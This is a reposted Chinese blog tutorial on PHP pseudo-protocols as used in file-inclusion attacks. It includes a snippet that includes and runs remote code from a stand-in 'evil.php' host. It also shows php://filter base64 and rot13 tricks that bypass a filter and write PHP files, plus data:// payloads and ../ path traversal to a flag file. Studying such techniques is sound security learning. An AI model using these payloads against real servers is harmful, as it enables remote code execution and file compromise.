php伪协议
🎼个人主页:金灰
😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨
专注网络空间安全服务,期待与您的交流分享~
感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️
🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~
免责声明:本文仅做技术交流与学习,,,
目录
1-什么是协议?
--规定大家在外面都说普通话啊,这样我们就可以沟通交流.
网络层协议:IP ICMP IGMP ARP
应用层协议:http https ftp ssh gopher
qq拉起协议 Tencent://qq/go123
百度网盘的拉起协议 ...
2-协议格式:
协议头://内容
3-php中的协议
file协议
不写协议名字,默认就是file协议(本地磁盘自己搜索)
相对路径/绝对路径
include "f.php";
include "file:///var/www/html/f.php";
include "../html/f.php";
"/var/www/html/f.php";
http协议
读取本地文件
读取远程文件
include远程包含
配合文件包含,可以读取远程的php代码并执行,实现了RCE的效果.
现代 PHP 配置(尤其是 php.ini 中的 allow_url_include 和 allow_url_fopen 设置)默认禁止从 URL 包含或打开文件,以防止此类安全漏洞。
<?php
// 假设远程服务器上的 PHP 文件包含恶意代码
$remoteFileUrl = "http://example.com/evil.php";
// 使用 file_get_contents() 读取远程文件内容
$code = file_get_contents($remoteFileUrl);
echo $code; // 输出远程文件的内容
// 使用 include 执行远程文件
include $remoteFileUrl;
?>
现代 PHP 环境默认会阻止这种行为。要允许 include 包含 URL 或 file_get_contents() 打开 URL,你需要在 php.ini 中将 allow_url_include 和 allow_url_fopen 设置为 On。
ftp协议
默认21端口,进行文件传输
include "ftp://xxxxx/xxxx";
# 21端口要开放.
4-php协议(伪协议)
php://input
post的内容都显示出.
(hackbar插件必须是key=value形式!!!)
当有php标记的语言写入到post里面时,会返回其执行的结果,
php://filter
base64 转换器
<?php
# filter
error_reporting(0);
highlight_file(__FILE__);
$file = $_GET['file'];
$content = $_POST['content'];
if (preg_match("/\<|\>|\;|\<|\?/i")) {
die("content not safe");
}
file_put_contents($file,$content);
通过过滤器绕过, 将编码之后内容解码
--------
/?file=php://filter/write=convert.base64-decode/resource=1.php
content=<?php phpinfo();?>
<?php phpinfo();?> --base64编码
/1.php --访问(成功执行,写入)
rot13(凯撒密码)转换器
ROT13加密/解密 - ROT13编码/解码—LZL在线工具 (lzltool.cn)
http://127.0.0.1:8084/test01.php?file=php://filter/write=string.rot13/resource=2.php
content=<?cuc cucvasb();?>
死亡die题目
也是成功的写入
filter的选择器非常多,具体去看官方文档.
data协议
http://127.0.0.1:8084/test01.php?file=data:text/plain/,<?php phpinfo();?>
?file=data:,<?php phpinfo();?>
?file=data:,php代码
上层目录特性:
1-每个目录都有上层目录
2-根目录的上层目录是自己
/../../../../(windows不行)
php目录整理特性:
/var/www/html/cc/../flag.php
/vat/www/html/flag.php
三元表达式:
A?B:C
如果A成立,返回B的结果;否则返回C的结果.
原文地址:https://blog.csdn.net/2303_80857229/article/details/140557759
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!